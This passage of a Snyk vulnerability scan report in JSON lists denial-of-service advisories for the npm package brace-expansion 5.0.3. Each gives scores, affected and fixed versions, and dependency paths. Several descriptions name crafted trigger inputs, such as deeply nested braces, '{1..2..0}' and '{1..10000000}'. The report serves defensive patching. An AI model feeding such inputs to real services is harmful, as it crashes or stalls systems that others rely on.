[CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 